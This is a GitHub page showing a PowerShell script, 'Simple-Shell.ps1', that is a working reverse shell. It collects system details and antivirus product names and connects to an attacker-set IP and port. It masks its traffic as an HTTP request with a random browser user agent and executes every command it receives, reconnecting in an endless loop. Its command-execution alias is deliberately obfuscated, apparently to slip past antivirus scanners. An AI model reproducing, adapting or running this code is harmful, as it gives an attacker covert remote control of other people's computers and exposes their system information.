-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSimple-Shell.ps1
65 lines (52 loc) · 2.03 KB
/
Simple-Shell.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$System = (Get-WmiObject Win32_OperatingSystem).Caption;
$Version = (Get-WmiObject Win32_OperatingSystem).Version;
$Architecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture;
$WindowsDirectory = (Get-WmiObject Win32_OperatingSystem).WindowsDirectory;
$av = (Get-WmiObject -Namespace 'root/SecurityCenter2' -Class 'AntiVirusProduct').displayname;
$IP = "Insert IP"
$PORT = "Insert Port"
$source = "ABCERFSRGIAGSFGÑOTWEQDIAXRADI"
$Item ="0"+"X"+"F"+"E"
function Get-UserAgent {
# Uses PowerShell's prebuilt UA strings. See
# http://goo.gl/9IGloI
param (
[ValidateSet('Firefox','Chrome','InternetExplorer','Opera','Safari')]
[string]$browsertype
)
if (!$browsertype) {
$browsers = @('Firefox','Chrome','InternetExplorer','Opera','Safari')
$browsertype = Get-Random -InputObject $browsers
}
[Microsoft.PowerShell.Commands.PSUserAgent]::$browsertype
}
function Convert(){
$cont = 122 + 300 - 87
$cont - 100
return
}
function Convert2(){
$cont = 30 + 6
return
}
while($true){
$x2 = Convert
Set-Alias $source($source[$true-8] + ($source[[byte]$Item - $x2])+ ($source[$true+$true-7] ))
$UserAG = Get-UserAgent
$w = "System: $System`r`nVERSION: $Version`r`nARCH: $Architecture`r`nDIRECTORY: $WindowsDirectory`r`nAVS: $av`r`nGET /index.html HTTP/1.1`r`nHost: $IP`r`n$UserAG`r`nAccept: text/html`r`n`r`n"
$s = [System.Text.ASCIIEncoding]
[byte[]]$b = 0..65535|%{0};
$FC5D5B917685 = New-Object System.Net.Sockets.TCPClient($IP,$PORT)
$z = $FC5D5B917685.GetStream()
$d = $s::UTF8.GetBytes($w)
$z.Write($d, 0, $d.Length)
$LEGOLAS = "whoami"
$t = (ABCERFSRGIAGSFGÑOTWEQDIAXRADI $LEGOLAS) + "@3xShell> "
while(($l = $z.Read($b, 0, $b.Length)) -ne 0){
$FC5D5B91768 = (New-Object -TypeName $s).GetString($b,0, $l)
$d = $s::UTF8.GetBytes((ABCERFSRGIAGSFGÑOTWEQDIAXRADI $FC5D5B91768 2>&1 | Out-String )) + $s::UTF8.GetBytes($t)
$z.Write($d, 0, $d.Length)
}
$FC5D5B917685.Close()
Start-Sleep -Seconds 7
}